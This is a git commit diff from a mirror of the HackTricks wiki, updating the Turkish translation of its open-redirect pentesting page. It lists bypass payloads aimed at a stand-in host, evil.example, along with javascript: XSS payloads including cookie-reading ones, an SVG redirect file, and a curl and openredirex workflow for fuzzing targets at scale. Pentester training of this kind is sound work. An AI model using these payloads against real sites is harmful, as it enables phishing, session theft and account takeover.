mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/open-redirect.md'] to tr
This commit is contained in:
parent
f6ab8ad48c
commit
d0e92ca39e
@ -1,18 +1,29 @@
|
|||||||
# Açık Yönlendirme
|
# Open Redirect
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
## Açık yönlendirme
|
## Open redirect
|
||||||
|
|
||||||
### Yerel sunucuya veya keyfi alan adlarına yönlendirme
|
### Redirect to localhost or arbitrary domains
|
||||||
|
|
||||||
|
- Eğer uygulama “allows only internal/whitelisted hosts” diyorsa, yönlendirme hedefi aracılığıyla loopback veya iç ağ aralıklarına ulaşmak için alternatif host gösterimlerini deneyin:
|
||||||
|
- IPv4 loopback variants: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal)
|
||||||
|
- IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
|
||||||
|
- Trailing dot and casing: localhost., LOCALHOST, 127.0.0.1.
|
||||||
|
- Wildcard DNS that resolves to loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. Bunlar, sadece “subdomains of X” izin verildiğinde fakat host çözümlemesi yine 127.0.0.1’e işaret ettiğinde kullanışlıdır.
|
||||||
|
- Network-path references often bypass naive validators that prepend a scheme or only check prefixes:
|
||||||
|
- //attacker.tld → şema-bağıl (scheme-relative) olarak yorumlanır ve mevcut şema ile site dışına gider.
|
||||||
|
- Userinfo tricks defeat contains/startswith checks against trusted hosts:
|
||||||
|
- https://trusted.tld@attacker.tld/ → tarayıcı attacker.tld’ye gider ama basit string kontroller “trusted.tld” görür.
|
||||||
|
- Backslash parsing confusion between frameworks/browsers:
|
||||||
|
- https://trusted.tld\@attacker.tld → bazı backend’ler “\” karakterini path char olarak değerlendirilip validasyondan geçirir; tarayıcılar bunu “/” olarak normalize eder ve trusted.tld’yi userinfo olarak yorumlayıp kullanıcıları attacker.tld’ye gönderir. Bu durum Node/PHP URL-parser uyuşmazlıklarında da görülür.
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### XSS için Açık Yönlendirme
|
### Modern open-redirect to XSS pivots
|
||||||
```bash
|
```bash
|
||||||
#Basic payload, javascript code is executed after "javascript:"
|
#Basic payload, javascript code is executed after "javascript:"
|
||||||
javascript:alert(1)
|
javascript:alert(1)
|
||||||
@ -58,7 +69,36 @@ javascript://whitelisted.com?%a0alert%281%29
|
|||||||
/x:1/:///%01javascript:alert(document.cookie)/
|
/x:1/:///%01javascript:alert(document.cookie)/
|
||||||
";alert(0);//
|
";alert(0);//
|
||||||
```
|
```
|
||||||
## Open Redirect svg dosyaları yükleme
|
<details>
|
||||||
|
<summary>Daha modern URL tabanlı bypass payloads</summary>
|
||||||
|
```text
|
||||||
|
# Scheme-relative (current scheme is reused)
|
||||||
|
//evil.example
|
||||||
|
|
||||||
|
# Credentials (userinfo) trick
|
||||||
|
https://trusted.example@evil.example/
|
||||||
|
|
||||||
|
# Backslash confusion (server validates, browser normalizes)
|
||||||
|
https://trusted.example\@evil.example/
|
||||||
|
|
||||||
|
# Schemeless with whitespace/control chars
|
||||||
|
evil.example%00
|
||||||
|
%09//evil.example
|
||||||
|
|
||||||
|
# Prefix/suffix matching flaws
|
||||||
|
https://trusted.example.evil.example/
|
||||||
|
https://evil.example/trusted.example
|
||||||
|
|
||||||
|
# When only path is accepted, try breaking absolute URL detection
|
||||||
|
/\\evil.example
|
||||||
|
/..//evil.example
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Open Redirect uploading svg files
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<code>
|
<code>
|
||||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
@ -68,7 +108,9 @@ xmlns="http://www.w3.org/2000/svg">
|
|||||||
</svg>
|
</svg>
|
||||||
</code>
|
</code>
|
||||||
```
|
```
|
||||||
## Yaygın enjeksiyon parametreleri
|
|
||||||
|
## Common injection parameters
|
||||||
|
|
||||||
```
|
```
|
||||||
/{payload}
|
/{payload}
|
||||||
?next={payload}
|
?next={payload}
|
||||||
@ -143,17 +185,23 @@ RedirectUrl=https://c1h2e1.github.io
|
|||||||
Redirect=https://c1h2e1.github.io
|
Redirect=https://c1h2e1.github.io
|
||||||
ReturnUrl=https://c1h2e1.github.io
|
ReturnUrl=https://c1h2e1.github.io
|
||||||
```
|
```
|
||||||
## Kod örnekleri
|
|
||||||
|
## Code examples
|
||||||
|
|
||||||
#### .Net
|
#### .Net
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
response.redirect("~/mysafe-subdomain/login.aspx")
|
response.redirect("~/mysafe-subdomain/login.aspx")
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Java
|
#### Java
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
response.redirect("http://mysafedomain.com");
|
response.redirect("http://mysafedomain.com");
|
||||||
```
|
```
|
||||||
|
|
||||||
#### PHP
|
#### PHP
|
||||||
|
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
/* browser redirections*/
|
/* browser redirections*/
|
||||||
@ -161,16 +209,75 @@ header("Location: http://mysafedomain.com");
|
|||||||
exit;
|
exit;
|
||||||
?>
|
?>
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## Hunting and exploitation workflow (practical)
|
||||||
|
|
||||||
|
- Single URL check with curl:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"
|
||||||
|
```
|
||||||
|
|
||||||
|
- Discover and fuzz likely parameters at scale:
|
||||||
|
|
||||||
|
<details>
|
||||||
|
<summary>Click to expand</summary>
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 1) Geçmiş URL'leri topla, ortak redirect parametrelerine sahip olanları sakla
|
||||||
|
cat domains.txt \
|
||||||
|
| gau --o urls.txt # or: waybackurls / katana / hakrawler
|
||||||
|
|
||||||
|
# 2) Grep ortak parametreleri bul ve listeyi normalize et
|
||||||
|
rg -NI "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \
|
||||||
|
| sed 's/\r$//' | sort -u > candidates.txt
|
||||||
|
|
||||||
|
# 3) OpenRedireX'i payload corpus ile fuzz yapmak için kullan
|
||||||
|
cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt
|
||||||
|
|
||||||
|
# 4) İlginç sonuçları manuel olarak doğrula
|
||||||
|
awk '/30[1237]|Location:/I' results.txt
|
||||||
|
```
|
||||||
|
```
|
||||||
|
</details>
|
||||||
|
|
||||||
|
- SPAs'daki client-side sinks'i unutma: window.location/assign/replace ve framework yardımcılarından query/hash'i okuyup redirect yapanları ara.
|
||||||
|
|
||||||
|
- Framework'ler genellikle, redirect hedefleri güvenilmeyen girdiden (query params, Referer, cookies) türetildiğinde yanlış kullanım riskleri (footguns) oluşturur. Next.js'in redirects hakkındaki notlarına bak ve user input'tan türetilen dynamic hedeflerden kaçın.
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../network-services-pentesting/pentesting-web/nextjs.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
- OAuth/OIDC akışları: open redirectors'ın kötüye kullanımı sıklıkla authorization codes/tokens'in leaking'ine bağlı olarak account takeover'a yükselir. Özel kılavuza bak:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
./oauth-to-account-takeover.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
- Location başlığı olmadan redirect uygulayan sunucu yanıtları (meta refresh/JavaScript) yine de phishing için kullanılabilir ve bazen zincirlenebilir. Grep için:
|
||||||
|
```html
|
||||||
|
<meta http-equiv="refresh" content="0;url=//evil.example">
|
||||||
|
<script>location = new URLSearchParams(location.search).get('next')</script>
|
||||||
|
```
|
||||||
## Araçlar
|
## Araçlar
|
||||||
|
|
||||||
- [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
|
- [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
|
||||||
|
- OpenRedireX – open redirects tespit eden fuzzer. Örnek:
|
||||||
|
```bash
|
||||||
|
# Install
|
||||||
|
git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh
|
||||||
|
|
||||||
## Kaynaklar
|
# Fuzz a list of candidate URLs (use FUZZ as placeholder)
|
||||||
|
cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50
|
||||||
|
```
|
||||||
|
## Referanslar
|
||||||
|
|
||||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) adresinde fuzzing listeleri bulabilirsiniz.
|
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect adresinde fuzzing listelerini bulabilirsiniz.
|
||||||
- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
|
- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
|
||||||
- [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
|
- [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
|
||||||
- [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
|
- [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
|
||||||
|
- PortSwigger Web Security Academy – DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection
|
||||||
|
- OpenRedireX – A fuzzer for detecting open redirect vulnerabilities: https://github.com/devanshbatham/OpenRedireX
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user